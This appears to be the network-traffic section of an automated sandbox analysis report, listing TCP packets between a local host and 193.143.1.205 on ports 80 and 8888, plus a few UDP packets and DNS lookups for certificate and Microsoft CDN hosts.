Jan 10, 2025 19:06:21.189806938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189820051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189831972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189832926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189831972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189831972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189846992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189888000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189888000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.190103054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190114975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190128088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190170050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.190284014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190295935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190305948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190315962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190321922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190326929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190332890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190339088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190346003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190351009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190356970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190361977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190370083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190378904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.190407991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.190407991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.190457106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.190505981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.198596954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.212100983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.212135077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.212261915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.219376087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219388962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219399929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219482899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.219664097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219676018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219687939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219767094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.219767094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.219769001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219782114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219794035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219805002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.219844103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.219844103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.243875027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243894100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243913889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243935108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243947029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243953943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243958950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243968964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243977070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.243982077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.243995905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244033098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244040966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244055033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244070053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244081020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244124889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244124889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244124889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244129896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244142056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244153976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244184017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244291067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244304895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244317055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244415998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244427919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244435072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244438887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244445086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.244461060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244461060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.244520903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.249232054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.261979103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276488066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276501894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276515961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276590109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276618958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276633024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276643991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276644945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276660919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276679993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276707888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276717901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276802063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276814938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276828051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276840925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276871920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276871920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.276956081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276969910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276983023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.276994944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277007103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277056932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277056932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277056932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277103901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277126074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277139902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277152061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277163982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277174950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277187109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277218103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277218103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277218103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277426958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277441025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277452946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277465105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277477026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277488947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277501106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277520895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277530909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277530909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277530909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277673006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277708054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277720928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277740955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277751923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277762890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277776957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277787924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277800083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277801037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277801037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277813911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.277852058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277973890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.277988911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278002977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278013945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278027058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278038979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278050900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278052092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278064966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278081894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278125048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278125048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278125048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278345108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278357983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278367996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278379917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278392076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278398037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278409958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278422117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278434038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278444052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278456926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278460979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278460979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278460979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278470039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278502941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278697968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278709888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278719902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278740883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278753042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278753996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278753042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278769016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278781891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278794050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278799057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278808117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278820038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278824091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278835058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278847933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278861046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278883934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278896093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278897047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.278896093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278896093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.278937101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.279104948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279160023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.279196978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279211044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279222012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279234886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279247046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279259920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279270887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.279284000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.279284000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.279305935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.308223009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308237076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308252096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308279037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308293104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308291912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.308341026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.308352947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.308376074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308388948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.308521032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.313286066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332359076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332385063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332400084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332415104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332479000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332499027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332508087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332511902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332535028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332555056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332597017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332627058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332639933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332653999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332673073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332684040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332714081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332745075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332758904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332784891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332811117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332823992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332835913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332887888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332887888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332887888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.332909107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332921982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332933903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.332945108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.333036900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.333036900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.333050966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.333065033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.333287954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.364911079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.364924908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.364936113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.364948034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.364986897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365008116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365020990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365031958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365092039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365092039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365092993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365104914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365118980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365159988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365204096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365216970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365221024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365228891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365252972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365341902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365350008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365361929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365374088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365385056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.365411997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.365576982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.407354116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.572426081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:22.115859985 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:22.120831966 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:22.120920897 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:22.124984026 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:22.129757881 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:22.923676014 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:22.978846073 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:23.190439939 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:35.258373976 CET	52496	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:06:35.263588905 CET	53	52496	1.1.1.1	192.168.2.6
Jan 10, 2025 19:06:35.263684034 CET	52496	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:06:35.268951893 CET	53	52496	1.1.1.1	192.168.2.6
Jan 10, 2025 19:06:35.728033066 CET	52496	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:06:35.733002901 CET	53	52496	1.1.1.1	192.168.2.6
Jan 10, 2025 19:06:35.733217955 CET	52496	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:06:29.470771074 CET	49995	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:06:35.257762909 CET	53	49745	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:06:29.470771074 CET	192.168.2.6	1.1.1.1	0x954c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:06:29.477490902 CET	1.1.1.1	192.168.2.6	0x954c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:30.172931910 CET	1.1.1.1	192.168.2.6	0x49bf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:30.172931910 CET	1.1.1.1	192.168.2.6	0x49bf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:08:11.559354067 CET	1.1.1.1	192.168.2.6	0x5d33	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
